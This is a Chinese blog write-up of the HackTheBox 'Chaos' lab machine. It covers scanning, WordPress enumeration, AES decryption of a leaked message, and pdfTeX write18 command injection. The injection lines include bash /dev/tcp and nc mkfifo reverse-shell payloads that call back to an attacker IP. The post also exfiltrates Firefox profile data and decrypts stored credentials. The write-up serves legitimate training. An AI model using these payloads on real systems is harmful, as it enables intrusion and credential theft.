首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >HackTheBox chaos writeup

HackTheBox chaos writeup

作者头像
黑伞安全
发布2019-10-16 11:57:31
8330
发布2019-10-16 11:57:31
举报
文章被收录于专栏:黑伞安全黑伞安全

大家好,我是大白,鉴于在强网杯中受到了打击,决定努力提升一下自己姿势水平,先去hackthebox刷一波退役靶机

首先是chaos,这个靶机之前还激活的时候打过,不过没有打下来,先照着官方给出的wp复现一下。

国际惯例,拿到靶机,跑一下端口,这里可以使用以下命令进行快速的全端口扫描:

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.120 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) //全端口扫描nmap -sV -sC -T4 10.10.10.120 -p $ports //针对扫出的端口进行漏扫

得到80,110,143,993,995,10000等开放端口,也就是说靶机开放了web,邮件等服务,首先我们从80端口入手

访问80发现提示直连ip是不允许的,那么按照hackthebox的惯例,网站的域名为靶机名.htb,我们添加到/etc/hosts中

再次通过域名访问,得到以下网站

接下来对ip和域名都进行目录爆破,这里我们使用了工具gobuster,字典使用了directory-list-2.3-medium.txt。

./gobuster -u http://10.10.10.120 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100

使用域名的目录爆破中没有得到有用的信息,但是使用ip的目录爆破中发现了/wp目录,跟随跳转进入此页面

页面中存在一个密码保护的文本,那么我们接下来就是要找到这个密码,因为可以从url得知这个网站是使用wordpress构建的,那么我们先使用wpscan扫描一下

wpscan --url http://10.10.10.120/wp/wordpress -e

没有发现有用的漏洞,但是发现了一个用户 human

我们使用这个用户作为密码,成功拿到了保护的文本

文本提供了webmail的登陆凭证,让我们回到端口扫描看一下,webmail使用的服务是Dovecot服务,我们找一个可以连接该服务的客户端,这里使用了thunderbird,按照如下配置连接服务器

输入刚才得到的账号密码

成功登陆到邮件服务器,查看收件箱和已发邮件均为空,查看草稿箱发现了一封service邮件,邮件给出了两个附件,并给出提示“You are the password”,意思是使用python脚本对明文进行了加密。

脚本使用了AES算法对明文进行加密,并且将加密使用的IV放入了文件中,那么我们就可以从文件中获取到iv值,那么密钥key呢,邮件中提示“你就是密码”,那么我们使用给出的getKey()函数就可以得到加密使用的key值。

def encrypt(key, filename): chunksize = 64*1024 outputFile = "en" + filename filesize = str(os.path.getsize(filename)).zfill(16) IV =Random.new().read(16) encryptor = AES.new(key, AES.MODE_CBC, IV) with open(filename, 'rb') as infile: with open(outputFile, 'wb') as outfile: outfile.write(filesize.encode('utf-8')) outfile.write(IV) while True: chunk = infile.read(chunksize) if len(chunk) == 0: break elif len(chunk) % 16 != 0: chunk += b' ' * (16 - (len(chunk) % 16)) outfile.write(encryptor.encrypt(chunk))def getKey(password): hasher = SHA256.new(password.encode('utf-8')) return hasher.digest()

根据以上分析编写解密脚本,aes解密后得到base64编码,再使用base64解码得到明文文本如下

#coding: utf8from Crypto.Cipher import AESfrom Crypto.Hash import SHA256import base64class mydecrypt(): def __init__(self, key, iv): self.key = key self.mode = AES.MODE_CBC self.iv = iv #解密后,去掉补足的空格用strip() 去掉 def decrypt(self, text): cryptor = AES.new(self.key, self.mode, self.iv) plain_text = cryptor.decrypt(text) return plain_text.rstrip(b' ')def getKey(password): hasher = SHA256.new(password.encode('utf-8')) return hasher.digest()if __name__ == '__main__': chunksize = 64*1024 with open('enim_msg.txt','rb') as infile: with open('msg.txt','wb') as outfile: filesize = infile.read(16) iv = infile.read(16) mydec = mydecrypt(getKey('sahay'),iv) msg = b'' while True: chunk = infile.read(chunksize) if len(chunk) == 0: break msg += mydec.decrypt(chunk) outfile.write(base64.b64decode(msg))

意思是搞了个创建pdf的服务,还搞了个这么变态url,好吧,那我们访问一下

随便输了几个字符点击生成pdf,根据返回包可以看出这个服务使用了pdfTeX构建,那我们搜索一下这个组件是否存在漏洞呢,答案是肯定的,根据国外大佬的文章,我们可以看到在开启write18的情况下,可以直接执行系统命令,ok,shell在向我招手

这里测试一下id命令的执行效果

那么我们可以利用bash直接反弹一个shell

\immediate\write18{bash -c 'sh -i &>/dev/tcp/10.10.14.3/7777 0>&1'}

也可以利用nc管道反弹shell

\immediate\write18{ rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 4444 >/tmp/f}

监听shell,然后使用python创建一个交互式的shell

然后使用webmail的凭证登陆ayush用户

当我们再次ls的时候,发现ls命令不见了,shell也给出了提示,ls命令所在的目录并没有在PATH环境变量里,导致系统找不到这个命令

那我们看一眼PATH里面有什么

我的妈耶,还真干净,既然如此,找一台正常的linux,echo $PATH获取环境变量,然后导入到当前环境里,ok,搞定。

User.txt flag get

那么我们还需要root权限。查看当前路径下发现一个文件夹比较有趣,”.mozilla”文件夹,是firefox浏览器的缓存文件夹,其中可能保存某些登陆凭证,那么我们把它拿下来研究一下。

使用zip和nc 打包下载安排上。

zip -r /tmp/firefox.zip ~/.mozilla/

Github中有项目可以在本地解析firefox的缓存文件,分析其中的登陆凭证。我们使用firefox_decrypt进行解析,输入的密码同样是我们登陆使用的凭证密码jiujitsu

git clone https://github.com/unode/firefox_decryptpython firefox_decrypt.py /root/home/ayush/.mozilla/firefox/

Ok解析完毕,拿到了我们一开始没用到的10000端口,并且用户名是root,嘿嘿,登录上去

直接找到命令执行的位置,至此root.txt get~~

这个靶机主要考察了目录爆破、wordpress框架、AES加解密、RCE漏洞、缺失环境变量的shell环境、firefox缓存文件信息泄露等,虽然知识点都不是很难,但是靶机一环扣一环,如果思路不对的话很容易就走到死胡同里,还是要先多看看一些writeup,学习常见的思路和攻击手法

马上写一个花式提权playbook 来满足一下大白以后不被提权

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-09-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑伞攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档